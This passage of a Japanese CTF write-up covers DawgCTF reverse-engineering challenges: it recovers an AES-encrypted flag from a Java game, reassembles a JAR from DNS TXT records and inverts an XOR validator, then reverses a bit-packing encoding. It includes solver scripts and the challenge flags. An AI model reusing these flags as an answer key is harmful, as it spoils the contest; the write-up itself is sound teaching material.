         g2.setColor(Color.RED);
         g2.drawString("YOU WIN!!!", 520, 580);
         f = new Font("Comic Sans MS", 1, 30);
         g2.setColor(Color.BLACK);
         g2.setFont(f);
         this.setName(Integer.toString(this.score));
         this.getComponents()[0].revalidate();
         g2.drawString("Amazing job! Sometimes it's good to cheat..", 520, 680);
         g2.drawString("Or is it? " + ((Component)Arrays.stream(this.getComponents()).filter((w) -> {
            return w.isEnabled();
         }).findFirst().get()).getName(), 520, 780);
      }

      f = new Font("Comic Sans MS", 1, 25);
      g2.setFont(f);
      g2.drawString("Sometimes you need to hack, man!", 660, 100);
   }
}

public class JTextBasket extends JComponent {
        :
        :
   public void revalidate() {
      this.invalidate();
      Container rin = this.getParent();
      rin.getName();
      this.setEnabled(true);
      if (rin.getName() != "javacode") {
         byte[] three = this.hexStringToByteArray(String.valueOf((new BigInteger(rin.getName())).multiply(new BigInteger("10")).add(new BigInteger("1")).pow(4)));
         byte[] key = this.hexStringToByteArray((new StringBuilder((new BigInteger(rin.getName())).multiply(new BigInteger("10")).add(new BigInteger("1")).pow(4).toString())).reverse().toString());
         byte[] decodedInput = Base64.getDecoder().decode("6Ach6HiD0JmCc1L+RwxDRzhW3sC1kS6XydgSuWVFpxVXRU8EjfuMxIMoIzMwK/ii");
         Cipher cipher = null;

         try {
            cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
         } catch (NoSuchAlgorithmException var13) {
            var13.printStackTrace();
         } catch (NoSuchPaddingException var14) {
            var14.printStackTrace();
         }

         try {
            cipher.init(2, new SecretKeySpec(three, "AES"), new IvParameterSpec(key));
         } catch (InvalidKeyException var11) {
            var11.printStackTrace();
         } catch (InvalidAlgorithmParameterException var12) {
            var12.printStackTrace();
         }

         String decrypted = null;

         try {
            decrypted = new String(cipher.doFinal(decodedInput), "UTF-8");
         } catch (UnsupportedEncodingException var8) {
            var8.printStackTrace();
         } catch (IllegalBlockSizeException var9) {
            var9.printStackTrace();
         } catch (BadPaddingException var10) {
            var10.printStackTrace();
         }

         this.setName(decrypted);
      }
   }
        :
        :
}

winnerがtrueになると、scoreは6942069になる。これを元に以下のように算出される。

  • three: (score * 10 + 1) ** 4を文字列とし、hexデコードしたもの
  • key: (score * 10 + 1) ** 4を文字列とし、逆順にしてhexデコードしたもの

threeを鍵、keyをIVとして暗号データを復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

n = 6942069

x = pow(n * 10 + 1, 4)
x_str = str(x)

key = bytes.fromhex(x_str)
iv  = bytes.fromhex(x_str[::-1])

ct = base64.b64decode('6Ach6HiD0JmCc1L+RwxDRzhW3sC1kS6XydgSuWVFpxVXRU8EjfuMxIMoIzMwK/ii')

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)
DawgCTF{ch3at3R_ch34t3r_pumk1n_34t3r!}

Data Needs Splitting (Reverse Engineering 200)

$ dig TXT data-needs-splitting.umbccd.net 
;; Truncated, retrying in TCP mode.

; <<>> DiG 9.20.15-2-Debian <<>> TXT data-needs-splitting.umbccd.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14202
;; flags: qr rd ra; QUERY: 1, ANSWER: 17, AUTHORITY: 2, ADDITIONAL: 13

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;data-needs-splitting.umbccd.net. IN    TXT

;; ANSWER SECTION:
data-needs-splitting.umbccd.net. 300 IN TXT     "06UYHy1aggWouAFFCkRWfqMKM+bdMFA2nCpCnqT/EX+IwPZUYHx2d/lHiTIlCpDp1Jdvfs2XvvObnbn7++fgcwjzUVIYQ5FA0RtDEktsSu0C1hb+ovSlvS8BjaZkzb9GYZwqmRdY4oIXlHlKWrgiMcRTud0kW1Kr2qvmFaMl0Wnr/VoeEC4gyKRWyGwVT+JHbRc017MztyCspZFCPL0ckQ/wtVkUCXhovoZujZlN6iNCzhynLOsaueWzM8x2"
data-needs-splitting.umbccd.net. 300 IN TXT     "09dtPHmtgVyfaEA3fyBVx+i08gXpbuUTosmpz4gkp+t4uBcU5GccolygJwoVcWjopz+JIZql6V5M0TyDJFbRhUViTSJ0iGVEOJY4OEeCI0QyODKHvrhmOEQwx1Os0EGFtp/Tkw/SFn4DUEsHCIasJ7msAgAA7gQAAFBLAwQKAAAIAACttIdcAAAAAAAAAAAAAAAABwAAAGFzc2V0cy9QSwMEFAAICAgAorSHXAAAAAAAAAAAAAAAAA8AAABh"
data-needs-splitting.umbccd.net. 300 IN TXT     "16hqwnuawCAADuBAAACgAAAAAAAAAAAAAAAAArBAAATWFpbi5jbGFzc1BLAQIKAAoAAAgAAK20h1wAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAA8HAABhc3NldHMvUEsBAhQAFAAICAgAorSHXGpA5yaAAwAAXAUAAA8AAAAAAAAAAAAAAAAANAcAAGFzc2V0cy9maWxlLmRhdFBLBQYAAAAABgAGAGEBAADxCgAAAAA="
data-needs-splitting.umbccd.net. 300 IN TXT     "07WYTL09E+10fFduWKRHP3Uoq+ISejkua7iCqwx9/2UztNvy/QqthW1IhuGmhA23mjIeQVH0MUR3hWWSMdLX0q/hBgYYYqSlIL13Dtkz38Ke8wlqRCAtt3CbY1DDEIYZev9FpM9n2rvONinIpM5Wez5NHCMMnSfwguNYUtgqUhjTMI4JBq3UwNaFVZNB87yJQccdjrsa7mGyqdeKH6uerBDLqVHHdTcSmo7+knzwyA0pKuTjffIx57guVTAQ"
data-needs-splitting.umbccd.net. 300 IN TXT     "01QAAABQSwMEFAAICAgAw7SHXAAAAAAAAAAAAAAAAAwAAABMb2FkZXIuY2xhc3ONVG1T00AQfq60PQhBEERARBEQ20LF9xeKKK2i1RYcyug4fDqaEyIh6SRXlH/iP/CrfikzOAPfdMZv/h8VN2l5taiZSXazu8/es7t39+3X5haAB3iuIYQGjrCOCKIMnW/EmhizhL00lrGE5+UcYUiXITph2qaaZGiIxV9oaEQTh6ajGTpD2z5mdvGNLCqG"
data-needs-splitting.umbccd.net. 300 IN TXT     "04+4OEaoHVpE+EbVjSG8o5zkq5lPqT93HA+fWSrBO+kDt6YA9VXkuREZZVMJVMNSJLDc2bnkfgfrd2Ksf7GW3ZrG1LN2iVpMbnaLz/VQPHDMO5v4cGu90PxgU6BCH4TwjMv6boe5X++kgykpHEBtgnUhiu0TcaGBvoex03SPqh3wkWIZlLVMBHKmjJj37Fyc/oeDWyiU5gAz3boxWcnUmwZENyq4KB8fDoF3CyxXrCH2dIb/f1D2geDyd7wh"
data-needs-splitting.umbccd.net. 300 IN TXT     "14KRu8FFN4IxKpfhXF+19/90NWHQucQkKTPBaMqY9jocct3Lr3jcKedjuTvIWVkQ9b+OgnBPzPfM8o12kq9jKuUKGykiJGaeUYgYIp+k9MI0T2IWLISQtjDhG6NOdgEuMmotS0GDYxBoFxPMIEviXse5zHj3TyZ5ryTfKWRKBLDujPWOTgnLrNOK4Eu0Tlx5jfz2GQiv/gzhBl9WlP+q3/AVBLBwhqQOcmgAMAAFwFAABQSwECCgAKAAAIAA"
data-needs-splitting.umbccd.net. 300 IN TXT     "11yEhjDHkIZhRF6JVPrywBP7DAO2wxBbPcPDkoogRmSOowwT8TMpiS0VHDFJGmMYPSH1w5NdZjChYRJTVEy96b0c7K5rO0eeFEwzDK84nnBnvKqY2a1Ze4sqLuINjhkNl/Am+T/jIANvyF1NlnEYv1+gR/DeYYaXNbyNdxgUOlJZtR3BEI0nXmdzxF8KU1hf+aIsGp5ddziuMkyd8Deajmfvi2O7igRmpQzXT7TqETerbv2RtVMTlEng4sGL"
data-needs-splitting.umbccd.net. 300 IN TXT     "08xQMGdcU2jtYqMnjEkdUwg8cMXS0iMPAdf2XZlKJVN1J3z1G/FoRJDCXnlKnueN605VqtUpLuK1GyCFEqwX5P0+c/DsHQUfSEsV0QOwGfY5mqaUHleNZsQQCTpqUPhtzxTGo8jtU/SgLK8Q6xik7NNeSy6VcU8ytO+zwMYJYutP8LgflXmt7ztOqjkdEYGd0H26MJwxN6tzVAxLCAHB3xqQcIEwLkv4G/3kcsP5ZU69AK4+EDJOpI0hCqo2"
data-needs-splitting.umbccd.net. 300 IN TXT     "15DbtIdcAAAAAAAAAAAAAAAACQAEAAAAAAAAAAAAAAAAAAAATUVUQS1JTkYv/soAAFBLAQIUABQACAgIANu0h1yu61fXUgAAAFQAAAAUAAAAAAAAAAAAAAAAACsAAABNRVRBLUlORi9NQU5JRkVTVC5NRlBLAQIUABQACAgIAMO0h1xYyNp5MgMAAPwFAAAMAAAAAAAAAAAAAAAAAL8AAABMb2FkZXIuY2xhc3NQSwECFAAUAAgICADDtIdc"
data-needs-splitting.umbccd.net. 300 IN TXT     "13YocfF506odnOp5f3yWEvc51hmCW1bNrlhe3SUJlusVavqw7H2xub8j3E3ZFKrnYZ8kevrdZwiXPKv82ZrVOCSopXrTLYvbttwMHbuck1HpWhZpluUzACanmda7tLtAb0bvwNU22B/0wfAJrYN9kNYNlPpUtkh7jdBfOuDbHQS3nyPUxrk2oqvPMT5yvoULbO1aC2+tPUW42EFi+3ob1/6KYi4fRdIMdGBst5Fe5L6sElNmW8j8ivxsTGlh"
data-needs-splitting.umbccd.net. 300 IN TXT     "02xiWpAjxDRyyeO5I0peEEWjnadJxEO0PrET+BCD8nPafsFuWUV1CuFKsM8diBTGQ07aVULbnpjGXtUllVQ1McpxjO7AfPlW1lrspH74qypEzHbqfiT+voQjdD16pYkRnHLgr10lTLpHlK2IpYDB+/3kGThg6c8fvXS/2rB6GG9eEcx3kd/bhA1dWhzKCTMKYsK72uJC0ejsUX0hoGMcRxUccwLtEUdsfRbMjXpi1r3arXl4V0Nluv8X2I60"
data-needs-splitting.umbccd.net. 300 IN TXT     "03j4o44ULceTHKO7hIK4+WXXeSsWLalhBJd1jOEKQ4swjEK5VHKl50mDofvggnsIKpRoZxxD0khzRG+mvLoo3XnfRw6LuDNc/EdPqzxpyYISxZW8KAVwjtsMoYU0x91D+62agEHbm6zHMXGooD0PQ1PBXLKFKrtEJ/Y/PCYSk0RFKwT7cNr0y2iujuCyH0lU0o6jPOWKUl6qZcfwWqPIaHiIRxzT/v56zDC0n9S015wVWVuuuuWmRVE57jrD"
data-needs-splitting.umbccd.net. 300 IN TXT     "05Ukk9tEp4kOyS16U7iPNMlQwGCA7kefRxM4WkjvpXuyHzr5W4iTTogoblJECpEf6OXo+4kujlscJ3aqt/Egxx3u18cxskPg8J6JDIGVY5wShKnIFO4FnZmkUu8H2gNMkWwkX5reJ3hKfxppz5DHLHp+A1BLBwhYyNp5MgMAAPwFAABQSwMEFAAICAgAw7SHXAAAAAAAAAAAAAAAAAoAAABNYWluLmNsYXNzjVRdU9NAFD3bpmwbgi1FED8Q"
data-needs-splitting.umbccd.net. 300 IN TXT     "12f8uhYCowMPx7OP6b/oQjxTB+Oo18066ReioM+FRkYXIsaMhh8dUO9rh0V2rC2fOqvbtSkPQbGt4F3Z3BctVyb5Hi/nghsRxA7+l2pdu8hmV8QBSr0RBOhWGaKK/JcZjHkjxxW8OdnoJevW9UUGCo6elMRtdzqZyRzuVypp7LEJJO67k0GZLprKmbEsmkCDEyxFkwDWNBcpKEpLKZZFI3jWRKIhnykybESJoGuUhnskeIbph6Nidr+1jDKt"
data-needs-splitting.umbccd.net. 300 IN TXT     "10c3NldHMvZmlsZS5kYXRtVEtvG1UU/m5s547H48RN7LyalhQKtds08YwfEycFWoe0GBKnxCFVupvYN/EUZ2wm4xYWCKkCCYkdK0AsKjaVUFnQhS1hqez5SUhgzrXzaNPM4s7c73z3PL5zz/z9358vANzEPRUD8HH4NQQwyBB5YD205muWsze/vvNAlD2GwRu2Y3vvMfjiiS0OhWGsR7Lr8/nm7q5wRWVDWBXhcqgMk0e2gtNoeiXPFdZ+3x"
data-needs-splitting.umbccd.net. 300 IN TXT     "00UEsDBAoAAAgAANu0h1wAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv/soAAFBLAwQUAAgICADbtIdcAAAAAAAAAAAAAAAAFAAAAE1FVEEtSU5GL01BTklGRVNULk1G803My0xLLS7RDUstKs7Mz7NSMNQz4OVyLkpNLElN0XWqtFIwMtAz0DNU0PAvSkzOSVVwzi8qyC9KLAEq1uTl8k3MzNN1zkksLrZSALF5uXi5AFBLBwiu61fXUgAAAF"

;; AUTHORITY SECTION:
umbccd.net.             81502   IN      NS      rayne.ns.cloudflare.com.
umbccd.net.             81502   IN      NS      osmar.ns.cloudflare.com.

;; ADDITIONAL SECTION:
osmar.ns.cloudflare.com. 63418  IN      AAAA    2a06:98c1:50::ac40:237c
osmar.ns.cloudflare.com. 63418  IN      AAAA    2606:4700:58::a29f:2c7c
osmar.ns.cloudflare.com. 63418  IN      AAAA    2803:f800:50::6ca2:c37c
rayne.ns.cloudflare.com. 17120  IN      AAAA    2a06:98c1:50::ac40:220b
rayne.ns.cloudflare.com. 17120  IN      AAAA    2606:4700:50::a29f:260b
rayne.ns.cloudflare.com. 17120  IN      AAAA    2803:f800:50::6ca2:c20b
osmar.ns.cloudflare.com. 63418  IN      A       162.159.44.124
osmar.ns.cloudflare.com. 63418  IN      A       172.64.35.124
osmar.ns.cloudflare.com. 63418  IN      A       108.162.195.124
rayne.ns.cloudflare.com. 17120  IN      A       108.162.194.11
rayne.ns.cloudflare.com. 17120  IN      A       162.159.38.11
rayne.ns.cloudflare.com. 17120  IN      A       172.64.34.11

;; Query time: 32 msec
;; SERVER: 192.168.64.2#53(192.168.64.2) (TCP)
;; WHEN: Sun Apr 12 18:38:47 JST 2026
;; MSG SIZE  rcvd: 4872

TXTレコードに関係しそうなデータが設定されている。先頭2バイトは順序を示すデータで、以降はbase64文字列になっていると推測できるので、順に連結しデコードする。

#!/usr/bin/env python3
from base64 import *

encs = [
    '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'
]

b64_exe = ''
for i in range(len(encs)):
    for j in range(len(encs)):
        if int(encs[j][:2]) == i:
            b64_exe += encs[j][2:]
            break

bin_data = b64decode(b64_exe)

with open('chall.jar', 'wb') as f:
    f.write(bin_data)

jarファイルになったので、jadx-guiでデコンパイルする。

package defpackage;

/* renamed from: Main  reason: default package */
/* loaded from: chall.jar:Main.class */
public class Main {
    public static void main(String[] strArr) throws Exception {
        Class<?> load = new Loader().load("/assets/file.dat");
        System.out.println(((Boolean) load.getMethod("validate", new Class[0]).invoke(load.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]), new Object[0])).booleanValue() ? "Correct!" : "Incorrect!");
    }
}

package defpackage;

import java.io.InputStream;

/* renamed from: Loader  reason: default package */
/* loaded from: chall.jar:Loader.class */
public class Loader extends ClassLoader {
    public Class<?> load(String str) throws Exception {
        InputStream resourceAsStream = getClass().getResourceAsStream(str);
        try {
            if (resourceAsStream == null) {
                throw new RuntimeException("Missing resource: " + str);
            }
            byte[] readAllBytes = resourceAsStream.readAllBytes();
            Class<?> defineClass = defineClass(null, readAllBytes, 0, readAllBytes.length);
            if (resourceAsStream != null) {
                resourceAsStream.close();
            }
            return defineClass;
        } catch (Throwable th) {
            if (resourceAsStream != null) {
                try {
                    resourceAsStream.close();
                } catch (Throwable th2) {
                    th.addSuppressed(th2);
                }
            }
            throw th;
        }
    }
}

package defpackage;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

/* renamed from: Validator  reason: default package */
/* loaded from: chall.jar:assets/file.dat */
public class Validator {
    public boolean validate() {
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(System.in));
        System.out.println("Enter the flag:");
        try {
            String readLine = bufferedReader.readLine();
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < readLine.length(); i++) {
                sb.append((readLine.charAt(i) ^ ((char) ((2194307438957234483 >>> ((i % 4) * 16)) & 65535))) ^ ((char) ((148527584754938272 >>> ((i % 4) * 16)) & 65535)));
            }
            if (sb.toString().equals("145511939249997195145441944550467175145531942549987228145401943650017203145451934650207244145651934650127169")) {
                return true;
            }
            return false;
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

フラグ文字列を1文字ずつ、特定の鍵とのXORした結果の数値を文字列として結合したものが以下のようになる。

145511939249997195145441944550467175145531942549987228145401943650017203145451934650207244145651934650127169

1文字に対する暗号データの桁数がわからないので、1文字ずつ総当たりで部分文字列が一致するものを探す。

#!/usr/bin/env python3
target = '145511939249997195145441944550467175145531942549987228145401943650017203145451934650207244145651934650127169'

k1 = 2194307438957234483
k2 = 148527584754938272

flag = ''
i = 0
target_index = 0
while len(target) != target_index:
    key1 = (k1 >> ((i % 4) * 16)) & 65535
    key2 = (k2 >> ((i % 4) * 16)) & 65535

    for code in range(33, 127):
        val = str(code ^ key1 ^ key2)
        l = len(val)
        if target[target_index:target_index + l] == val:
            flag += chr(code)
            i += 1
            target_index += l
            break

print(flag)
DawgCTF{J@v@_My_B3l0v3d}

Dust to Dust (Reverse Engineering 250)

このコードの処理概要は以下の通り。

・input.txtの2行×3文字ずつをブロックとして、以下の処理を行う。
 ・1行目の3文字と2行目の3文字で、6ビットの数値とする。
 ・この数値に32をプラスし、ASCIIコードとして文字にする。
・2行をセットとして、行末に"}"を追加
・最後に"~"を追加

これを逆算してinput.txtの内容を復元する。

#!/usr/bin/env python3
with open('output.txt', 'r') as f:
    encs = f.read().rstrip('~').split('}')

input = [''] * (len(encs) * 2)
for i in range(len(encs)):
    for c in encs[i]:
        b = bin(ord(c) - 32)[2:].zfill(6)
        input[i * 2] += b[:3]
        input[i * 2 + 1] += b[3:]

with open('input.txt', 'w') as f:
    f.write('\n'.join(input))

復元したinput.txtの内容を見てみる。

$ cat input.txt                                                               
111111111111111101110111101001110111111111111111111101111110111111111111111111111111011110101111101010111010111111111111111111111111111111111111011111111111111111111111111111111111011101111111111111
111111111111111111011101110111011101111111111111111111111101011111011111111111111101111101011111010011111110111111010111111111111111111111111101011111111111111111101111011001100110110111011111111111
111111111111111111110111111101110111111111111111111111111110111111111110111111111111111010101110101111111010111100101111111111111111111111111111111111111111111111111111111111111111111101110111111111
111101111111011111111101111111011101111111111111111111010101110111111101110111010101110101011101000110011101100110011111111111111111111111110111110110011111110111110111111111111111011110011011111101
111111111111011111110111011101110111111111111111111110111111101111111011111110111111101110101011101110111110101110001011111111111111111111101011111111111111011111111111111111111111111111111111111111
111111111101110111111101110111111101011101011111111101111111011011110111111101111111011111010010011101111100011001001111111111111111111101010110011001101101110111111111111111111111111111100110011111
111111110111011101111111011101110110111010101111111111101111111011111111111111101111101010000110101011111110111011111110111111111111111010110111111111110111011111111111111111111111111111111111111111
011111111101111111011101110111111101011101011101111111011111100111111001111111011111010111110001111100010001100100111001010111110111110111011001100110011101110101111111011111010001111101111001111111
111111110111011101111111011101111010101110101011101010101010101110101011101010101010101010101010101010101010101110101011111010111111111111110111111111111110101111111111111010101011111111111111111111
111111111101111111011101110111111100010011001100111101010101011101010111010101010101011101010101010101010100011001000110110001111111011111011110011001110101011101010111111101110110011111111110011111
111111111111111111101111011101101010101011101110101111101011101110111110101010101010111010101010101010100000000000000010111011111110111010101111111111111010111010101110101011101011111111111111111111
111101011101010101010101010101110101000100110111110101110111011101110101010111010101110101010101010101010001100000000000011110111101110101011101100110011101110100011101010111000001111111110001111101
111111111111101011111110101010111110101011111011111101001111000011110000111100011111000011110000111100000000000011000000111011111010101110101011111111111010101110001011100000111010111111111111111111
110111111111010111110101110001011101000011111110111110001111000000000000011100101111000011110001111100000000000000000000110111111100011001000110011001100100011001000110010001100100111111111110011111
111011111111101011101000111010111010100011110000111100000000000000000000000000000000000000000011110000000000000000000000111111110010111010101110111111111010111000101110101001101010111111111111111111
010101111111000111010001001100010111000111110000111110000000000000000000000000000000000000000111110000000000000000000000011111110001100100011001000110010001100100011001000110010001111101111001111111
111010111010101010101010101111101010101010101011100000010011100000001111111110000000000000000111110000111111100000001000000000001010101110101011101010111010101110101001100000011010101111110000111111
111101111100010001000100010001000111010101010110010000001111110000111111111110011111111000000111100000111111111110001000000001100100011001000110010001100100011001000000000000100100011001010000011111
111010110000000000101010101010101011101010010100000000011100111001000001100000011111111000000111100000111111111110010000000011100010111010101110101011101010111000000000001110000010111010100111101111
111101010000000000010001000100100001000100111000000000111000111000000001100000011111111000000111100000000001000000010000000111100000000100010001000100010001000100000000011110000001100101011011010101
111010000001111110000010000001000000010001000000000001111000011000000001100000111000000000000111100000000011000000010000011111000000000010101010101010101010101000000000011110000010001111111000110111
110000000111111111000000000010001000100010000000000001111000000000000001100000110000000000000111100000000011000000100000000010100000000001000100010001000100010000000000110110000100011011110000110101
111001001111000011110000000000000000000000000000000001111000000000000001100000110000000000000111100000000011000000110000000110100000000000001000000000000010101000000001110111000010101011111100001111
011110001111000001111000000000000000000000000000000001111000000000000001100000110000000000000111100000000111000000110000000110100000000000000001000000000000000000000001100011000000000111110001100111
111000001111000000011000000000000000000000000000011001111000000000000011100000111111111000001111100000001110000001110000000110000001111000000000100000000000000000000011100011000000000010111011101111
111101110111000000011100000000000000000000001100011101111000000000000011100001111111111000111111100000001100000001100000000111000011111110000000000000100000000000000111000111000000000001010101011001
111001100111100000001110000000000000000000011100100100111000000000000011100001101111111000111111100000001100000011110000000111000011111101000010000000000000000000000110011100000000000000101011101111
011110010111101000001110000000000001000000011000110110111100000111000011100001100000000000000111100000001100000011001000001111000011000000000000000001111000000000001111111111110001110000010111010111
111001111011100001001110000011100001000110011001110110111110000111000000000001100000000000000111100000001100000111001000001111000000111100000000100000111000110000101111111101111011111100000000111111
